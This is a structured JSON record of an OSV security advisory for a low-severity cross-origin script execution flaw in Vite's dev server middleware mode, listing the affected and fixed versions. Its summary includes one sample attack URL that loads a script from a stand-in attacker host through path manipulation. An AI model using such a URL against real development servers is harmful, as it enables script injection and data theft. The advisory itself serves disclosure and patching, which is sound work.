Vite: Cross origin script execution through Vite custom middleware

{
  "id": "11fb19808a06f1e3bc5d2eef57c083b661ccd53926960e0bc557851cfedb6b2f",
  "url": "https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "Vite: Cross origin script execution through Vite custom middleware",
    "summary": "### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the",
    "evidence": "osv:GHSA-9jrq-w75r-8gcw",
    "products": [
      {
        "name": {
          "value": "vite",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "8.3.3",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": []
      },
      {
        "name": {
          "value": "vite",
          "evidence": "/affected/1/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "8.2.4",
            "evidence": "/affected/1/ranges"
          }
        ],
        "affected_versions": []
      },
      {
        "name": {
          "value": "vite",
          "evidence": "/affected/2/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "8.1.6",
            "evidence": "/affected/2/ranges"
          }
        ],
        "affected_versions": []
      },
      {
        "name": {
          "value": "vite",
          "evidence": "/affected/3/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "7.3.7",
            "evidence": "/affected/3/ranges"
          }
        ],
        "affected_versions": []
      },
      {
        "name": {
          "value": "vite",
          "evidence": "/affected/4/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "6.4.4",
            "evidence": "/affected/4/ranges"
          }
        ],
        "affected_versions": []
      },
      {
        "name": {
          "value": "vite-plus",
          "evidence": "/affected/5/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "1.1.0",
            "evidence": "/affected/5/ranges"
          }
        ],
        "affected_versions": []
      }
    ],
    "severity": "low",
    "structured": {
      "id": "GHSA-9jrq-w75r-8gcw",
      "aliases": [
        "CVE-2026-112945",
        "GHSA-9jrq-w75r-8gcw"
      ],
      "metrics": [
        {
          "type": "CVSS_V4",
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "8.3.0"
                },
                {
                  "fixed": "8.3.3"
                }
              ]
            }
          ],
          "package": {
            "name": "vite",
            "purl": "pkg:npm/vite",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9jrq-w75r-8gcw/GHSA-9jrq-w75r-8gcw.json",
            "last_known_affected_version_range": "<= 8.3.2"
          }
        },
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "8.2.0"
                },
                {
                  "fixed": "8.2.4"
                }
              ]
            }
          ],
          "package": {
            "name": "vite",
            "purl": "pkg:npm/vite",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9jrq-w75r-8gcw/GHSA-9jrq-w75r-8gcw.json",
            "last_known_affected_version_range": "<= 8.2.3"
          }
        },
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "8.0.0"
                },
                {
                  "fixed": "8.1.6"
                }
              ]
            }
          ],
          "package": {
            "name": "vite",
            "purl": "pkg:npm/vite",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9jrq-w75r-8gcw/GHSA-9jrq-w75r-8gcw.json",
            "last_known_affected_version_range": "<= 8.1.5"
          }
        },
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "7.0.0"
                },
                {
                  "fixed": "7.3.7"
                }
              ]
            }
          ],
          "package": {
            "name": "vite",
            "purl": "pkg:npm/vite",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9jrq-w75r-8gcw/GHSA-9jrq-w75r-8gcw.json",
            "last_known_affected_version_range": "<= 7.3.6"
          }
        },
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "6.4.4"
                }
              ]
            }
          ],
          "package": {
            "name": "vite",
            "purl": "pkg:npm/vite",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9jrq-w75r-8gcw/GHSA-9jrq-w75r-8gcw.json",
            "last_known_affected_version_range": "<= 6.4.3"
          }
        },
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "1.1.0"
                }
              ]
            }
          ],
          "package": {
            "name": "vite-plus",
            "purl": "pkg:npm/vite-plus",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9jrq-w75r-8gcw/GHSA-9jrq-w75r-8gcw.json",
            "last_known_affected_version_range": "<= 1.0.0"
          }
        }
      ],
      "modified": "2026-10-21T17:00:26.569382874Z",
      "provider": "osv",
      "references": [
        "https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw",
        "https://nvd.nist.gov/vuln/detail/CVE-2026-112945",
        "https://github.com/vitejs/vite/pull/23653",
        "https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17",
        "https://github.com/vitejs/vite"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-80"
        ],
        "severity": "LOW",
        "github_reviewed": true,
        "nvd_published_at": "2026-10-20T16:17:05Z",
        "github_reviewed_at": "2026-10-21T16:48:14Z"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-112945",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/database_specific/severity"
  },
  "source_id": "core-osv",
  "document_id": 394603,
  "published_at": "2026-10-21T16:48:14+00:00"
}